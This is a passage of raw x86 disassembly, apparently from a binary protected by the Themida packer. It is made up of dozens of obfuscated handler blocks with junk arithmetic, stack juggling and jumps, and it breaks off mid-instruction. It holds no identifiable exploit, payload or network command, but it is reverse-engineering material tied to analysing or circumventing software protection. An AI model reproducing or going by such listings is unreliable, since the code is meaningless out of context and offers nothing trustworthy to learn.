--------------------------------------------------------------------------- loc_56FBEE: ; CODE XREF: sub_562ABA+AA17j push esi mov esi, 776810FEh neg esi add esi, 4D211709h not esi xor esi, 6310B9CAh or edi, esi pop esi and edi, 79795BD2h add edi, 0A68EBE32h sub ecx, 22C27366h add ecx, edi add ecx, 22C27366h mov edi, [esp-0Ah+arg_4+2] add esp, 4 jmp loc_5615EA ; --------------------------------------------------------------------------- loc_56FC2C: ; CODE XREF: sub_562ABA+B0CEj xor ecx, 3A793EDAh and ecx, 12B84554h and ecx, 0BC138ACh dec ecx jmp loc_56DE88 ; --------------------------------------------------------------------------- loc_56FC44: ; CODE XREF: sub_562ABA-3517j xor eax, edi mov edi, [esp-10h+arg_C] add esp, 4 push esi mov esi, 179706B2h sub esi, 4011533Ch not esi jmp loc_568E00 ; --------------------------------------------------------------------------- loc_56FC5F: ; CODE XREF: sub_562ABA+A52j push 5838h jmp loc_565080 ; --------------------------------------------------------------------------- loc_56FC69: ; CODE XREF: sub_562ABA+9A2Dj push dword ptr [esp+0] pop edi add esp, 4 mov edi, esi pop esi mov eax, 61C272Bh xor eax, edi push [esp+26h+var_28+2] mov edi, [esp+2Ah+var_2C+2] add esp, 4 push edi push esp jmp loc_567566 ; --------------------------------------------------------------------------- loc_56FC8D: ; CODE XREF: sub_562ABA-2E3Cj add esp, 4 jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56FC98: ; CODE XREF: sub_562ABA-EACj pop edx pop edi sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 70E61B5Eh add ecx, 7A6913BDh shr ecx, 5 push eax mov eax, 5D76F042h jmp loc_569EDD ; --------------------------------------------------------------------------- loc_56FCB9: ; CODE XREF: sub_562ABA-34E9j add edx, eax push edi mov edi, 2D25D79h shr edi, 1 inc edi sub edi, 0E29259Ch sub edi, 8B5CD075h sub edx, edi pop edi pop eax jmp loc_5651B2 ; --------------------------------------------------------------------------- loc_56FCD9: ; CODE XREF: sub_562ABA+EEF8j push edx mov edx, 176D3AA3h jmp loc_56A5E7 ; --------------------------------------------------------------------------- loc_56FCE4: ; CODE XREF: sub_562ABA+F279j pop eax jmp loc_56C35C ; --------------------------------------------------------------------------- loc_56FCEA: ; CODE XREF: sub_562ABA+BC76j push ecx push ebp push 6D9E388Ah mov ebp, [esp+6+var_8+2] add esp, 4 and ebp, 2AF90DABh xor ebp, 7DB0534Bh mov ecx, ebp pop ebp and ebx, ecx pop ecx push edx jmp loc_568E6C ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ecx mov ecx, 4F8C620Eh push 7AC6h mov [esp+6+var_8+2], edx push 6C08h mov [esp+0Ah+var_C+2], ecx jmp loc_56E095 ; --------------------------------------------------------------------------- loc_56FD2D: ; CODE XREF: sub_562ABA+8966j add ebx, 588C449Dh sub ebx, esi sub ebx, 588C449Dh push dword ptr [esp+0] jmp loc_567A05 ; --------------------------------------------------------------------------- loc_56FD43: ; CODE XREF: sub_562ABA+ADFFj xor ebx, 579559ECh neg ebx jmp loc_568A19 ; --------------------------------------------------------------------------- loc_56FD50: ; CODE XREF: sub_562ABA+30Bj add ebp, 202F1B51h mov ebx, ebp mov ebp, [esp+42h+var_42] add esp, 4 sub [esp+3Eh+var_3A], ebx mov ebx, [esp+3Eh+var_3E] add esp, 4 add [esp+3Ah+var_3A], 38D70C91h jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56FD7A: ; CODE XREF: sub_562ABA+7EAEj add bl, 0DAh sub bl, 8Ch jmp loc_565862 ; --------------------------------------------------------------------------- loc_56FD85: ; CODE XREF: sub_562ABA+3BB7j mov [esp+36h+var_36], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+36h+var_36] jmp loc_56406C ; --------------------------------------------------------------------------- loc_56FD9A: ; CODE XREF: sub_562ABA+13E5j pop edi sub eax, ecx jmp loc_567BD2 ; --------------------------------------------------------------------------- loc_56FDA2: ; CODE XREF: sub_562ABA+AF86j mov [esp], edi push 103765C4h jmp loc_566071 ; --------------------------------------------------------------------------- loc_56FDAF: ; CODE XREF: sub_562ABA+CB1Fj mov ecx, 2 jmp loc_572A67 ; --------------------------------------------------------------------------- loc_56FDB9: ; CODE XREF: sub_562ABA-1E34j xor ebx, 36A26A69h jmp loc_56A1F4 ; --------------------------------------------------------------------------- loc_56FDC4: ; CODE XREF: sub_562ABA+3477j add ebx, edi pop edi sub ebx, 6134990h add ebx, esi add ebx, 6134990h sub ebx, 614303A1h pop esi xchg ebx, [esp+0Ah+var_C+2] pop esp pop [esp+6+var_8+2] pop esp push 5581h mov [esp+2+var_4+2], ebx push ecx mov ch, dl jmp loc_56A6BD ; --------------------------------------------------------------------------- loc_56FDF4: ; CODE XREF: sub_562ABA-26B2j sub esp, 4 mov [esp+0Ch+var_C], eax push esi push edi mov edi, 76B32B7h neg edi and edi, 27455805h add edi, 0F561FA88h mov esi, edi jmp loc_56989A ; --------------------------------------------------------------------------- loc_56FE16: ; CODE XREF: sub_562ABA+8954j mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], ecx mov ecx, 0C8B6778h dec ecx push 57B1h mov [esp+22h+var_22], edx push ebx mov ebx, 78A161F2h xor ebx, 63E47139h mov edx, ebx pop ebx push ebp mov ebp, 4ABB5E9Dh jmp loc_569C64 ; --------------------------------------------------------------------------- loc_56FE4D: ; CODE XREF: sub_562ABA-4055j pop esi jmp loc_5613DA ; --------------------------------------------------------------------------- loc_56FE53: ; CODE XREF: sub_562ABA+9964j mov [esp+4Ah+var_4A], eax jmp loc_56C68F ; --------------------------------------------------------------------------- loc_56FE5B: ; CODE XREF: sub_562ABA+78FDj push edi push [esp+0Eh+var_C+2] pop edi pop dword ptr [esp+0] mov esp, [esp+0Ah+var_C+2] push [esp+0Ah+var_C+2] mov ecx, [esp+0] add esp, 4 push 6BE8h mov [esp+0], ebx push 6434h push 1F9Eh push esp pop [esp+1Ah+var_1A] add [esp+16h+var_16], 4 pop [esp+16h+var_16] add [esp+12h+var_12], 4 jmp loc_56ABCD ; --------------------------------------------------------------------------- loc_56FE99: ; CODE XREF: sub_562ABA+6A31j add esp, 4 push ebx mov ebx, 4 sub eax, ebx jmp loc_55ED68 ; --------------------------------------------------------------------------- loc_56FEA9: ; CODE XREF: sub_562ABA+E580j push 737h mov [esp+22h+var_22], edi push 2C1Eh mov [esp+26h+var_28+2], esp jmp loc_567B34 ; --------------------------------------------------------------------------- loc_56FEBE: ; CODE XREF: sub_562ABA+E1ABj sub esp, 4 mov [esp+2Ah+var_2C+2], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+2Ah+var_2C+2] jmp loc_5705CD ; --------------------------------------------------------------------------- loc_56FEDA: ; CODE XREF: sub_562ABA+ACC2j mov [esp+36h+var_36], esp jmp loc_56285A ; --------------------------------------------------------------------------- loc_56FEE2: ; CODE XREF: sub_562ABA+385j add bl, al sub bl, 13h sub bl, 39h sub bl, 5 sub esp, 4 jmp loc_55FB57 ; --------------------------------------------------------------------------- loc_56FEF8: ; CODE XREF: sub_562ABA+D7E5j mov ebp, 3F770D17h add edx, ebp pop ebp add edx, 5EE13E74h jmp loc_568991 ; --------------------------------------------------------------------------- loc_56FF0B: ; CODE XREF: sub_562ABA+2979j pop eax add esp, 4 push 30h mov [esp-6+arg_0+2], edx mov edx, 2 push eax mov eax, 19C64DC0h shr eax, 6 neg eax or eax, 4B0D62FBh sub eax, 6BB50D54h xor eax, 0A02CAE4Dh add ecx, eax pop eax sub ecx, 64F57E56h add ecx, edx jmp loc_55E6AC ; --------------------------------------------------------------------------- loc_56FF46: ; CODE XREF: sub_562ABA+661j sub esi, 2C335275h and esi, 377E076Bh neg esi add esi, 9704365Ah xor eax, esi push [esp+1Eh+var_1E] pop esi add esp, 4 jmp loc_55FB0D ; --------------------------------------------------------------------------- loc_56FF68: ; CODE XREF: sub_562ABA+F873j add edi, ecx push 3EF2h mov [esp+1Eh+var_1E], ecx push ebp push 601A7B5Ah jmp loc_564922 ; --------------------------------------------------------------------------- loc_56FF7D: ; CODE XREF: sub_562ABA+4857j add dword ptr [esp+0], 4 pop edi jmp loc_564340 ; --------------------------------------------------------------------------- loc_56FF87: ; CODE XREF: sub_562ABA+CD9Dj mov eax, [esp+2Ah+var_2C+2] add esp, 4 jmp loc_564294 ; --------------------------------------------------------------------------- loc_56FF92: ; CODE XREF: sub_562ABA+517j push ecx jmp loc_55F8D1 ; --------------------------------------------------------------------------- loc_56FF98: ; CODE XREF: sub_562ABA+2141j sub ebp, edx jmp loc_56E79E ; --------------------------------------------------------------------------- loc_56FF9F: ; CODE XREF: sub_55FCA5+3E2j add edi, 720E5A59h pop ebp push ecx jmp loc_5622AE ; --------------------------------------------------------------------------- loc_56FFAC: ; CODE XREF: sub_562ABA+44A8j mov ebp, 65AE0BDFh jmp loc_560D89 ; --------------------------------------------------------------------------- loc_56FFB6: ; CODE XREF: sub_562ABA+ED5Dj add eax, 4 add eax, 4 push eax push [esp-0Eh+arg_C+2] pop eax jmp loc_56B0A7 ; --------------------------------------------------------------------------- loc_56FFC9: ; CODE XREF: sub_562ABA+B8FDj mov edx, 4 jmp loc_56CA44 ; --------------------------------------------------------------------------- loc_56FFD3: ; CODE XREF: Themida_:005609A8j push ebp mov ebp, esp jmp loc_5692D3 ; --------------------------------------------------------------------------- loc_56FFDB: ; CODE XREF: sub_55EE90+3j pop ebx not ebx push ebp push ebx jmp loc_56D832 ; --------------------------------------------------------------------------- loc_56FFE5: ; CODE XREF: sub_562ABA-1417j pop [esp+2Ah+var_2C+2] mov esp, [esp+26h+var_28+2] mov fs:[edx], ax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56FFF4: ; CODE XREF: sub_562ABA+A251j pop ecx add ebx, 2 xchg ebx, [esp+3Ah+var_3A] pop esp push 5C9Bh jmp loc_561064 ; --------------------------------------------------------------------------- loc_570006: ; CODE XREF: sub_562ABA+2BA3j push 30FE7661h jmp loc_56330E ; --------------------------------------------------------------------------- loc_570010: ; CODE XREF: sub_562ABA+3485j pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp+16h+var_16] xor [esp+16h+var_16], ebx xor ebx, [esp+16h+var_16] jmp loc_572521 ; --------------------------------------------------------------------------- loc_57002B: ; DATA XREF: Themida_:0055DDF0o mov ax, word ptr [esp+16h+var_16] push 20Dh mov [esp+1Ah+var_1A], edx push 74A4h push esp pop [esp+22h+var_22] push ecx mov ecx, 4 add [esp+22h+var_1E], ecx pop ecx mov edx, [esp+1Eh+var_1E] push edx push esp mov edx, [esp+26h+var_28+2] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56E415 ; --------------------------------------------------------------------------- loc_570067: ; CODE XREF: sub_562ABA+77EEj add edi, ecx add edi, 2B27199h pop ecx jmp loc_564886 ; --------------------------------------------------------------------------- loc_570075: ; CODE XREF: sub_562ABA+EFFEj mov ecx, esi pop esi add ecx, 0F393F13Dh jmp loc_55FA55 ; --------------------------------------------------------------------------- loc_570083: ; CODE XREF: sub_562ABA+B301j sub bl, 1 sub bl, 0F8h add bl, dl push ecx mov cl, 0F8h add bl, cl pop ecx push eax mov al, 13h jmp loc_56ABB0 ; --------------------------------------------------------------------------- loc_570099: ; CODE XREF: sub_562ABA+DE38j neg edx add edx, 3BBE6079h xor esi, edx jmp loc_56F9CA ; --------------------------------------------------------------------------- loc_5700A8: ; CODE XREF: sub_562ABA+5D1Fj mov [esp+16h+var_16], esp push ebx push esi mov esi, 2BD96FC7h neg esi or esi, 2CF173E9h dec esi dec esi sub esi, 0FCF7F3F3h mov ebx, esi pop esi jmp loc_56FA0C ; --------------------------------------------------------------------------- loc_5700CA: ; CODE XREF: sub_5617E6+7j xor ebp, 3535215Eh push ebp sub [esp+1Eh+var_1E], 57402F84h pop edi add edi, 57402F84h mov ebp, [esp+1Ah+var_1A] jmp loc_56317F ; --------------------------------------------------------------------------- loc_5700E7: ; CODE XREF: sub_562ABA+EB21j add word ptr [esp+1Ah+var_1A], 34h jmp loc_570C9B ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Ah+var_1A] jmp loc_564BAD ; --------------------------------------------------------------------------- loc_5700FB: ; CODE XREF: sub_562ABA+21A9j add ecx, 4 add ecx, 4 jmp loc_571178 ; --------------------------------------------------------------------------- loc_57010C: ; CODE XREF: sub_562ABA+7D66j pop ebp jmp loc_56E486 ; --------------------------------------------------------------------------- loc_570112: ; CODE XREF: sub_562ABA+6814j dec ecx xchg eax, ecx jmp loc_55EEE6 ; --------------------------------------------------------------------------- loc_570119: ; CODE XREF: sub_562ABA+69BDj pop esi sub ebp, 0FFFFFFFFh not ebp jmp loc_5669E6 ; --------------------------------------------------------------------------- loc_570124: ; CODE XREF: sub_562ABA-2EA0j add edx, eax mov eax, [esp+12h+var_12] add esp, 4 xchg edx, [esp+0] pop esp push esi jmp loc_567612 ; --------------------------------------------------------------------------- loc_570136: ; CODE XREF: sub_562ABA+3754j add esp, 4 and ecx, eax pop eax shr ecx, 7 push edx jmp loc_55EDC2 ; --------------------------------------------------------------------------- loc_570145: ; CODE XREF: sub_562ABA-4D4j xor eax, 31C92D0Bh neg eax not eax jmp sub_55F777 ; --------------------------------------------------------------------------- loc_570153: ; CODE XREF: sub_562ABA+71D3j not cx sub esp, 4 mov [esp+3Ah+var_3A], edi sub esp, 4 jmp loc_57220E ; --------------------------------------------------------------------------- loc_57016A: ; CODE XREF: sub_562ABA+CA99j push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_56A55A ; --------------------------------------------------------------------------- loc_57017C: ; CODE XREF: sub_562ABA+47E6j sub edx, 9B19ECE2h jmp loc_565F14 ; --------------------------------------------------------------------------- loc_570187: ; CODE XREF: sub_562ABA-367Fj push 4BE7h jmp loc_56A489 ; --------------------------------------------------------------------------- loc_570191: ; CODE XREF: sub_562ABA+BD20j sub esp, 4 mov [esp+26h+var_28+2], ebp mov ebp, 7E2A5C07h add edx, ebp pop ebp jmp loc_571DE7 ; --------------------------------------------------------------------------- loc_5701A4: ; CODE XREF: sub_562ABA+7FDAj jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5701A9: ; CODE XREF: sub_562ABA+458j sub edi, 22A12276h xor edi, 636BA3CDh add eax, edi jmp loc_5682DF ; --------------------------------------------------------------------------- loc_5701BC: ; CODE XREF: sub_562ABA+2724j pop esi not ebp push esi mov esi, 0F6F1247Dh sub ebp, esi mov esi, [esp+0] add esp, 4 sub edx, ebp pop ebp xor edx, 8B01E5D3h push edx pop ebp pop edx add edi, ebp pop ebp add edi, 4 push edi push [esp-0Eh+arg_C+2] pop edi pop [esp-0Eh+arg_8+2] mov esp, [esp-12h+arg_C+2] inc [esp-12h+arg_C+2] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5701F4: ; CODE XREF: sub_5722B7-1396Aj push [esp-0Eh+arg_8+2] pop edx jmp loc_561F72 ; --------------------------------------------------------------------------- loc_5701FD: ; CODE XREF: sub_562ABA-70j push 37BAh jmp loc_55EE7D ; --------------------------------------------------------------------------- loc_570207: ; CODE XREF: sub_562ABA+A6B2j push ebp mov ebp, 96D40C6h xor ebp, 445875F7h add eax, ebp pop ebp pop edx add eax, 2 xor eax, [esp+22h+var_22] xor [esp+22h+var_22], eax xor eax, [esp+22h+var_22] pop esp jmp loc_56207D ; --------------------------------------------------------------------------- loc_570229: ; CODE XREF: sub_562ABA+AD8Aj add al, 39h add al, 87h jmp near ptr unk_562D23 ; --------------------------------------------------------------------------- loc_570232: ; CODE XREF: sub_562ABA+604Bj add edx, 8BE8BF36h mov eax, edx mov edx, [esp+1Eh+var_1E] add esp, 4 and eax, 5C4B5F9Fh jmp loc_56CAF1 ; --------------------------------------------------------------------------- loc_57024D: ; CODE XREF: sub_562ABA+5A4Dj pop ebx and eax, edx jmp loc_570C3E ; --------------------------------------------------------------------------- loc_570255: ; CODE XREF: sub_562ABA+7047j push ecx mov cl, 0F5h jmp loc_56A01E ; --------------------------------------------------------------------------- loc_57025D: ; CODE XREF: sub_562ABA+90CCj pop ebp add esp, 4 add ebp, 4 add ebp, 4 push ebp push [esp+42h+var_3E] pop ebp pop [esp+42h+var_42] mov esp, [esp+3Eh+var_3E] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_570281: ; CODE XREF: sub_562ABA+2902j push edx mov edx, 685E6643h and edx, 6C040338h xor edx, 68040200h mov ebx, edx push [esp+26h+var_28+2] pop edx jmp loc_5618CF ; --------------------------------------------------------------------------- loc_57029E: ; CODE XREF: sub_562ABA-4698j push ebp jmp loc_56FEF8 ; --------------------------------------------------------------------------- loc_5702A4: ; CODE XREF: sub_562ABA-3C14j push 44FBh mov [esp+36h+var_36], esi jmp loc_56486E ; --------------------------------------------------------------------------- loc_5702B1: ; CODE XREF: sub_562ABA+1A26j pop edi xchg edx, [esp+16h+var_16] jmp loc_56C655 ; --------------------------------------------------------------------------- loc_5702BA: ; CODE XREF: sub_562ABA+80F1j push dword ptr [esp+0] mov ecx, [esp+28h+var_28] add esp, 4 add esp, 4 xor ecx, 731F72BFh and ecx, 2E5A7E7Ah push ebx mov ebx, 0D0C8762h xor ecx, ebx pop ebx mov esi, ecx mov ecx, [esp+20h+var_22+2] push ecx mov ecx, esp add ecx, 4 jmp loc_56499E ; --------------------------------------------------------------------------- loc_5702F1: ; CODE XREF: sub_562ABA-3085j mov ebx, 2EFE7AFDh xor ebp, ebx pop ebx add ebx, 69FD37DEh jmp loc_561C3E ; --------------------------------------------------------------------------- loc_570304: ; CODE XREF: sub_562ABA+2A9Bj pop edi add esp, 4 jmp loc_5712A0 ; --------------------------------------------------------------------------- loc_57030D: ; CODE XREF: sub_562ABA+B7FBj mov edx, ecx jmp loc_570E01 ; --------------------------------------------------------------------------- loc_570314: ; CODE XREF: sub_562ABA-679j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+16h+var_16] pop esp jmp loc_56B745 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_570337: ; CODE XREF: sub_562ABA+C159j pop edi pop edi add edi, 72E21498h sub edi, eax sub edi, 72E21498h pop eax add esi, edi jmp loc_56A2AD ; --------------------------------------------------------------------------- loc_57034F: ; CODE XREF: sub_562ABA+B5CFj xor edi, 0D159504h add edx, edi jmp loc_568EFE ; --------------------------------------------------------------------------- loc_57035C: ; CODE XREF: sub_562ABA+CFE8j sub edi, 48C473FCh jmp loc_562B4E ; --------------------------------------------------------------------------- loc_570367: ; CODE XREF: sub_562ABA+14Ej push edx mov dh, 0A2h sub dh, 0A8h sub cl, dh pop edx sub bl, cl pop ecx add bl, cl add bl, 7 add bl, 52h jmp loc_56763C ; --------------------------------------------------------------------------- loc_570380: ; DATA XREF: Themida_:0055DFCCo push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+0], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_57038F: ; CODE XREF: sub_562ABA+E84Bj mov edi, 4 add ebp, edi jmp loc_56D9BC ; --------------------------------------------------------------------------- loc_57039B: ; CODE XREF: sub_562ABA+8845j pop esp sub esp, 4 mov [esp+58h+var_5A+2], ebp push edx mov edx, 5EAC1251h jmp loc_560956 ; --------------------------------------------------------------------------- loc_5703AD: ; CODE XREF: sub_562ABA-15E2j add ecx, 5F196CEDh add ecx, edi sub ecx, 5F196CEDh jmp loc_571E3D ; --------------------------------------------------------------------------- loc_5703C0: ; CODE XREF: sub_562ABA-31B5j neg ebp neg ebp push ebx jmp loc_56F98E ; --------------------------------------------------------------------------- loc_5703CA: ; CODE XREF: sub_562ABA+EA1Fj push esp jmp loc_5703F5 ; --------------------------------------------------------------------------- loc_5703D0: ; CODE XREF: sub_562ABA+2260j xchg al, [esp+1] not al push edx mov dl, al mov al, [esp+5] jmp loc_55F059 ; --------------------------------------------------------------------------- loc_5703E2: ; CODE XREF: sub_562ABA+343Fj mov edi, 57FB11D6h xor edi, 57FB11D2h add ecx, edi pop edi jmp loc_56B7E2 ; --------------------------------------------------------------------------- loc_5703F5: ; CODE XREF: sub_562ABA+D911j pop eax push edx push ebx mov ebx, 361976C1h jmp loc_56BC1F ; --------------------------------------------------------------------------- loc_570402: ; CODE XREF: sub_562ABA+AB65j push edi jmp loc_569616 ; --------------------------------------------------------------------------- loc_570408: ; CODE XREF: sub_562ABA+2A28j xchg edi, [esp+6+var_8+2] pop esp sub esp, 4 mov [esp+6+var_8+2], edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax add edi, 4 xchg edi, [esp+6+var_8+2] jmp loc_5640F0 ; --------------------------------------------------------------------------- loc_57042B: ; CODE XREF: sub_562ABA-48ADj mov [esp+6+var_8+2], ecx push small 5577h mov word ptr [esp+8+var_8], bx mov bl, 5Bh jmp loc_5658D1 ; --------------------------------------------------------------------------- loc_57043D: ; CODE XREF: sub_562ABA+71EDj mov [esp+46h+var_46], edx mov edx, 15114F85h sub edx, 0FFFFFFFFh shl edx, 5 jmp loc_5673A3 ; --------------------------------------------------------------------------- loc_570450: ; CODE XREF: sub_562ABA+BE37j pop [esp+26h+var_28+2] pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_570459: ; CODE XREF: sub_562ABA+BC58j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+3Ah+var_3A] pop esp mov [esp+36h+var_36], ecx mov ecx, 1D906F1h inc ecx sub ecx, 1D906F0h push esi mov esi, 6DF131C8h jmp loc_5687BB ; --------------------------------------------------------------------------- loc_570481: ; CODE XREF: sub_562ABA-35BFj mov esi, [esp+0] add esp, 4 pop [esp+2Ah+var_2C+2] pop esp pop [esp+22h+var_22] mov esp, [esp+1Eh+var_1E] ror [esp+1Eh+var_1E], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+22h+var_22] push 7F9Eh mov [esp+26h+var_28+2], eax push ebx jmp loc_56D08E ; --------------------------------------------------------------------------- loc_5704AF: ; CODE XREF: sub_562ABA-3D43j mov esp, [esp+16h+var_16] jmp sub_55E972 ; --------------------------------------------------------------------------- loc_5704B7: ; CODE XREF: sub_562ABA+8265j mov esp, [esp+0] or [edi+1Ch], edx mov edx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+32h+var_32] pop esp jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5704D4: ; CODE XREF: sub_562ABA+4174j add esp, 4 push edx push esp pop edx push 56BAh mov [esp+1Eh+var_1E], eax mov eax, 6EBE0EC8h jmp loc_562550 ; --------------------------------------------------------------------------- loc_5704EC: ; CODE XREF: sub_562ABA+B813j pop ax inc bh inc bh xor bh, 0EFh add al, bh pop ebx add al, bl push small 5893h mov word ptr [esp+40h+var_42+2], dx mov dl, 60h push ebx mov bh, 85h xchg cl, bh not cl xchg cl, bh neg bh jmp loc_55E395 ; --------------------------------------------------------------------------- loc_570514: ; CODE XREF: sub_562ABA+5305j pop edx xor al, cl pop cx inc al push edx mov dh, 24h shl dh, 2 shl dh, 5 sub dh, 8Fh xor al, dh jmp loc_56CDC6 ; --------------------------------------------------------------------------- loc_57052E: ; CODE XREF: sub_562ABA+B8EEj mov ebx, eax jmp loc_56228A ; --------------------------------------------------------------------------- loc_570535: ; CODE XREF: sub_562ABA+222Fj pop ecx xchg edx, [esp+8+var_8] pop esp sub esp, 4 mov [esp+8+var_8], ebx mov ebx, 38D70C91h add [esp+8+var_4], 10135E7Ch add [esp+8+var_4], 23013A22h sub [esp+8+var_4], ebx sub [esp+8+var_4], 23013A22h sub [esp+8+var_4], 10135E7Ch mov ebx, [esp+8+var_8] jmp loc_56165F ; --------------------------------------------------------------------------- loc_570574: ; CODE XREF: sub_562ABA+B616j add bl, al jmp loc_56297E ; --------------------------------------------------------------------------- loc_57057B: ; CODE XREF: sub_562ABA-34CEj push edx jmp loc_566730 ; --------------------------------------------------------------------------- loc_570581: ; CODE XREF: sub_562ABA-38EBj push 4 pop esi jmp loc_565F2B ; --------------------------------------------------------------------------- loc_57058C: ; CODE XREF: sub_562ABA+F715j add ebp, 4 xchg ebp, [esp+3Eh+var_3E] pop esp sub esp, 4 mov [esp+3Eh+var_3E], eax mov eax, 4 add edx, eax pop eax add edx, 4 xor edx, [esp+3Ah+var_3A] xor [esp+3Ah+var_3A], edx jmp loc_570769 ; --------------------------------------------------------------------------- loc_5705B5: ; CODE XREF: sub_562ABA+8Fj mov ecx, [esp+16h+var_16] add esp, 4 sub [esp+12h+var_C+2], 7CF518Ch jmp loc_56DF21 ; --------------------------------------------------------------------------- loc_5705C8: ; CODE XREF: sub_562ABA-2345j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_5705CD: ; CODE XREF: sub_562ABA+D41Bj mov esp, [esp+2Ah+var_2C+2] jmp loc_56838D ; --------------------------------------------------------------------------- loc_5705D5: ; CODE XREF: sub_562ABA+9ADEj push esi mov esi, esp add esi, 4 push edx mov edx, 1F8E5A89h xor edx, 4673616Eh inc edx sub edx, 5AAB606Fh xor edx, 0FF51DB7Dh jmp loc_5720C6 ; --------------------------------------------------------------------------- loc_5705FC: ; CODE XREF: sub_562ABA+30EAj not esi push 286h mov [esp+18h+var_1A+2], ebx mov ebx, 3F10FCDh xor esi, ebx pop ebx add eax, 57B470E6h add eax, esi jmp loc_56AD2C ; --------------------------------------------------------------------------- loc_57061A: ; CODE XREF: sub_562ABA+7B9j sub si, 3BCh and si, 19B9h add si, 1 shr si, 4 jmp loc_55FE41 ; --------------------------------------------------------------------------- loc_570632: ; CODE XREF: sub_562ABA+5D59j push [esp+1Eh+var_1E] pop eax sub esp, 4 mov [esp+22h+var_22], edi push esp pop edi push edx jmp loc_568B9F ; --------------------------------------------------------------------------- loc_570647: ; CODE XREF: sub_562ABA+F64Fj mov [esp+26h+var_28+2], esi mov esi, ebx mov ebp, esi mov esi, [esp+26h+var_28+2] push ebx push esp pop ebx push edx mov edx, 4 add ebx, edx pop edx add ebx, 4 xchg ebx, [esp+2Ah+var_2C+2] pop esp pop ebx and eax, ebp mov ebp, [esp+22h+var_22] add esp, 4 shr eax, 12h xor eax, ecx push 0A7Dh mov [esp+22h+var_22], eax xor [esp+22h+var_22], ecx xor ecx, [esp+22h+var_22] xor [esp+22h+var_22], ecx push ecx xchg ebp, [esp+26h+var_28+2] not ebp xor [esp+26h+var_28+2], ebp xor ebp, [esp+26h+var_28+2] xor [esp+26h+var_28+2], ebp jmp loc_56748C ; --------------------------------------------------------------------------- loc_57069D: ; CODE XREF: sub_55FCA5+9Fj add edi, 4 jmp loc_563468 ; --------------------------------------------------------------------------- loc_5706A8: ; CODE XREF: sub_562ABA-1C0Fj sub edx, ebp jmp loc_56D535 ; --------------------------------------------------------------------------- loc_5706AF: ; CODE XREF: sub_562ABA-57Bj xor eax, 271E5F7Bh or ecx, eax pop eax sub ecx, 3E7E7F6Ch add edi, ecx pop ecx sub edi, 4 xchg edi, [esp+0] mov esp, [esp+0] mov [esp+0], ecx push [esp+2Eh+var_2C+2] jmp loc_570C6A ; --------------------------------------------------------------------------- loc_5706D5: ; CODE XREF: sub_562ABA+37F3j push eax mov eax, 4 sub esi, eax pop eax xor esi, [esp+36h+var_36] jmp loc_56C1FB ; --------------------------------------------------------------------------- loc_5706E6: ; CODE XREF: sub_562ABA-4091j sub esp, 4 mov [esp+16h+var_16], esi push ebx push 40842323h mov ebx, [esp+1Eh+var_1E] jmp loc_569123 ; --------------------------------------------------------------------------- loc_5706FA: ; CODE XREF: sub_562ABA+C30Aj xor ebp, [esp+0] mov esp, [esp+0] mov [esp+0], eax push ecx push edi mov edi, 280B241Ch jmp loc_5684B1 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+8+var_8] jmp loc_56724A ; --------------------------------------------------------------------------- loc_570718: ; CODE XREF: sub_562ABA+6847j or eax, eax jnz loc_56880B push ebp mov ebp, esp jmp loc_571E04 ; --------------------------------------------------------------------------- loc_570728: ; CODE XREF: sub_562ABA+2C41j push ebx push [esp+6+var_8+2] mov esi, [esp+0Ah+var_C+2] push ebp push esp jmp loc_56DC84 ; --------------------------------------------------------------------------- loc_570736: ; CODE XREF: sub_562ABA+5B84j add esp, 4 jmp loc_561CB6 ; --------------------------------------------------------------------------- loc_570741: ; CODE XREF: sub_562ABA+CA6Cj sub al, 0C4h add al, 51h add al, bl sub al, 51h push 5362h mov [esp+1Eh+var_1E], ebx push eax jmp loc_56D708 ; --------------------------------------------------------------------------- loc_570757: ; CODE XREF: sub_562ABA-2733j sub dword ptr [ecx], 31A074CDh push [esp-10h+arg_C] pop edx add esp, 4 jmp loc_566676 ; --------------------------------------------------------------------------- loc_570769: ; CODE XREF: sub_562ABA+DAF6j xor edx, [esp+3Ah+var_3A] mov esp, [esp+3Ah+var_3A] jmp loc_569D4D ; --------------------------------------------------------------------------- loc_570774: ; CODE XREF: sub_562ABA+3856j add [esp+6+var_8+2], 4 pop ebx push eax mov eax, 0DC07CDBh xor eax, 5B9E7DB2h jmp loc_5625E4 ; --------------------------------------------------------------------------- loc_570789: ; CODE XREF: sub_562ABA+196Fj mov eax, esp add eax, 4 push esi jmp sub_55E72D ; --------------------------------------------------------------------------- loc_570796: ; CODE XREF: sub_562ABA-A5Dj add edx, 4 sub edx, 4 push edx jmp loc_569A30 ; --------------------------------------------------------------------------- loc_5707A5: ; CODE XREF: sub_562ABA+F927j mov ebx, 32316506h jmp loc_566D15 ; --------------------------------------------------------------------------- loc_5707AF: ; CODE XREF: sub_562ABA+4F1j push ebp push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_566C7B ; --------------------------------------------------------------------------- loc_5707C3: ; CODE XREF: sub_562ABA+88AFj pop ebx jmp 